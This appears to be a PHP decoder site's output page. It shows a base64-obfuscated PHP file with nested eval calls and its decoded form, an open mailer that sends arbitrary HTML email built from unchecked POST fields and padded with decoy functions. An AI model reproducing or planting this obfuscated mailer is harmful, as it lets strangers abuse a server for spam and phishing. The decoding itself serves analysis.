Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode(eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJsZUhROUpGOVFUM..

Decoded Output download

$text=$_POST['text'];
    $link=$_POST['link'];
    $link_text=$_POST['link-text'];
    $from=trim($_POST['from']);
    $email=$_POST['email'];
    $subject=$_POST['subject'];
    $to = trim($email); 
	
	function dksort($array, $case){//*
    if(array_key_exists($case,$array)){
        $a[$case] = $array[$case];
        foreach($array as $key=>$val){
            if($case==$key){

				}else{
                $a[$key] = $array[$key];
				}
			}
		}

		return $a;
	}

	$d = array(
            '22'=>'jdfhgjfd',
            '33'=>'jdfhgjfd',
            '11'=>'jrtyrjfd',
            '55'=>'jrtydairjfd',
            '77'=>'jopo',
            '99'=>'jrtasajfd',
            '44'=>'jopasdwo',
            '88'=>'hdgatyuyuiuy'
            );

	$c = dksort($d, '55');//*

    if ($from!="") {$from="From: $from
";}
	
	$codepage=rand ( 1 , 2 );

   if ($codepage==2){
	$subject = iconv("WINDOWS-1251", "UTF-8", $subject); //utf8
	$text = iconv("WINDOWS-1251", "UTF-8" ,$text);      //utf8
   }
   $message = $text;

   //   
   if ($codepage==1){
	$headers = $from."Content-type: text/html; Windows-1251 
";  //windows
   }
   if ($codepage==2){
	$headers = $from."Content-type: text/html; charset=utf-8 
"; //utf8
   } 
   // 
   //echo $message." ".$subject." ".$from." ".$to;
   if (mail($to, $subject, $message, $headers)) {echo "Ok";} else {echo "fail";}
   
   function usortTest($a, $b) {//*
    return -1;
	}

	$test = array('val1');
	usort($test, "usortTest");

	$test2 = array('val2', 'val3');
	usort($test2, "usortTest");
	
	function stable_usort(&$array, $cmp)
{
    $i = 0;

} 

Did this file decode correctly?

Original Code

<?php eval(base64_decode(eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJsZUhROUpGOVFUMU5VV3lkMFpYaDBKMTA3Q2lBZ0lDQWtiR2x1YXowa1gxQlBVMVJiSjJ4cGJtc25YVHNLSUNBZ0lDUnNhVzVyWDNSbGVIUTlKRjlRVDFOVVd5ZHNhVzVyTFhSbGVIUW5YVHNLSUNBZ0lDUm1jbTl0UFhSeWFXMG9KRjlRVDFOVVd5ZG1jbTl0SjEwcE93b2dJQ0FnSkdWdFlXbHNQU1JmVUU5VFZGc25aVzFoYVd3blhUc0tJQ0FnSUNSemRXSnFaV04wUFNSZlVFOVRWRnNuYzNWaWFtVmpkQ2RkT3dvZ0lDQWdKSFJ2SUQwZ2RISnBiU2drWlcxaGFXd3BPeUFLQ1FvSlpuVnVZM1JwYjI0Z1pHdHpiM0owS0NSaGNuSmhlU3dnSkdOaGMyVXBleTh2S2dvZ0lDQWdhV1lvWVhKeVlYbGZhMlY1WDJWNGFYTjBjeWdrWTJGelpTd2tZWEp5WVhrcEtYc0tJQ0FnSUNBZ0lDQWtZVnNrWTJGelpWMGdQU0FrWVhKeVlYbGJKR05oYzJWZE93b2dJQ0FnSUNBZ0lHWnZjbVZoWTJnb0pHRnljbUY1SUdGeklDUnJaWGs5UGlSMllXd3Bld29nSUNBZ0lDQWdJQ0FnSUNCcFppZ2tZMkZ6WlQwOUpHdGxlU2w3Q2dvSkNRa0pmV1ZzYzJWN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBa1lWc2thMlY1WFNBOUlDUmhjbkpoZVZza2EyVjVYVHNLQ1FrSkNYMEtDUWtKZlFvSkNYMEtDZ2tKY21WMGRYSnVJQ1JoT3dvSmZRb0tDU1JrSUQwZ1lYSnlZWGtvQ2lBZ0lDQWdJQ0FnSUNBZ0lDY3lNaWM5UGlkcVpHWm9aMnBtWkNjc0NpQWdJQ0FnSUNBZ0lDQWdJQ2N6TXljOVBpZHFaR1pvWjJwbVpDY3NDaUFnSUNBZ0lDQWdJQ0FnSUNjeE1TYzlQaWRxY25SNWNtcG1aQ2NzQ2lBZ0lDQWdJQ0FnSUNBZ0lDYzFOU2M5UGlkcWNuUjVaR0ZwY21wbVpDY3NDaUFnSUNBZ0lDQWdJQ0FnSUNjM055YzlQaWRxYjNCdkp5d0tJQ0FnSUNBZ0lDQWdJQ0FnSnprNUp6MCtKMnB5ZEdGellXcG1aQ2NzQ2lBZ0lDQWdJQ0FnSUNBZ0lDYzBOQ2M5UGlkcWIzQmhjMlIzYnljc0NpQWdJQ0FnSUNBZ0lDQWdJQ2M0T0NjOVBpZG9aR2RoZEhsMWVYVnBkWGtuQ2lBZ0lDQWdJQ0FnSUNBZ0lDazdDZ29KSkdNZ1BTQmthM052Y25Rb0pHUXNJQ2MxTlNjcE95OHZLZ29LSUNBZ0lHbG1JQ2drWm5KdmJTRTlJaUlwSUhza1puSnZiVDBpUm5KdmJUb2dKR1p5YjIxY2NseHVJanQ5Q2drS0NTUmpiMlJsY0dGblpUMXlZVzVrSUNnZ01TQXNJRElnS1RzS0NpQWdJR2xtSUNna1kyOWtaWEJoWjJVOVBUSXBld29KSkhOMVltcGxZM1FnUFNCcFkyOXVkaWdpVjBsT1JFOVhVeTB4TWpVeElpd2dJbFZVUmkwNElpd2dKSE4xWW1wbFkzUXBPeUF2TDNWMFpqZ0tDU1IwWlhoMElEMGdhV052Ym5Zb0lsZEpUa1JQVjFNdE1USTFNU0lzSUNKVlZFWXRPQ0lnTENSMFpYaDBLVHNnSUNBZ0lDQXZMM1YwWmpnS0lDQWdmUW9nSUNBa2JXVnpjMkZuWlNBOUlDUjBaWGgwT3dvS0lDQWdMeS9RdXRDKzBMVFF1TkdBMEw3UXN0QzYwTEFnMFlIUXZ0QyswTEhSaWRDMTBMM1F1TkdQSU5DMDBMdlJqeURSZ3RDMTBMclJnZEdDMExBS0lDQWdhV1lnS0NSamIyUmxjR0ZuWlQwOU1TbDdDZ2trYUdWaFpHVnljeUE5SUNSbWNtOXRMaUpEYjI1MFpXNTBMWFI1Y0dVNklIUmxlSFF2YUhSdGJEc2dWMmx1Wkc5M2N5MHhNalV4SUZ4eVhHNGlPeUFnTHk5M2FXNWtiM2R6Q2lBZ0lIMEtJQ0FnYVdZZ0tDUmpiMlJsY0dGblpUMDlNaWw3Q2dra2FHVmhaR1Z5Y3lBOUlDUm1jbTl0TGlKRGIyNTBaVzUwTFhSNWNHVTZJSFJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DQmNjbHh1SWpzZ0x5OTFkR1k0Q2lBZ0lIMGdDaUFnSUM4djBMN1JndEMvMFlEUXNOQ3kwTHJRc0NEUXY5QzQwWUhSak5DODBMQUtJQ0FnTHk5bFkyaHZJQ1J0WlhOellXZGxMaUlnSWk0a2MzVmlhbVZqZEM0aUlDSXVKR1p5YjIwdUlpQWlMaVIwYnpzS0lDQWdhV1lnS0cxaGFXd29KSFJ2TENBa2MzVmlhbVZqZEN3Z0pHMWxjM05oWjJVc0lDUm9aV0ZrWlhKektTa2dlMlZqYUc4Z0lrOXJJanQ5SUdWc2MyVWdlMlZqYUc4Z0ltWmhhV3dpTzMwS0lDQWdDaUFnSUdaMWJtTjBhVzl1SUhWemIzSjBWR1Z6ZENna1lTd2dKR0lwSUhzdkx5b0tJQ0FnSUhKbGRIVnliaUF0TVRzS0NYMEtDZ2trZEdWemRDQTlJR0Z5Y21GNUtDZDJZV3d4SnlrN0NnbDFjMjl5ZENna2RHVnpkQ3dnSW5WemIzSjBWR1Z6ZENJcE93b0tDU1IwWlhOME1pQTlJR0Z5Y21GNUtDZDJZV3d5Snl3Z0ozWmhiRE1uS1RzS0NYVnpiM0owS0NSMFpYTjBNaXdnSW5WemIzSjBWR1Z6ZENJcE93b0pDZ2xtZFc1amRHbHZiaUJ6ZEdGaWJHVmZkWE52Y25Rb0ppUmhjbkpoZVN3Z0pHTnRjQ2tLZXdvZ0lDQWdKR2tnUFNBd093b0tmU0E9JykpOw==')))); ?>

Function Calls

base64_decode 3

Variables

None

Stats

MD5 c58a92dddee438883d9c6f6b2ab2cee8
Eval Count 2
Decode Time 105 ms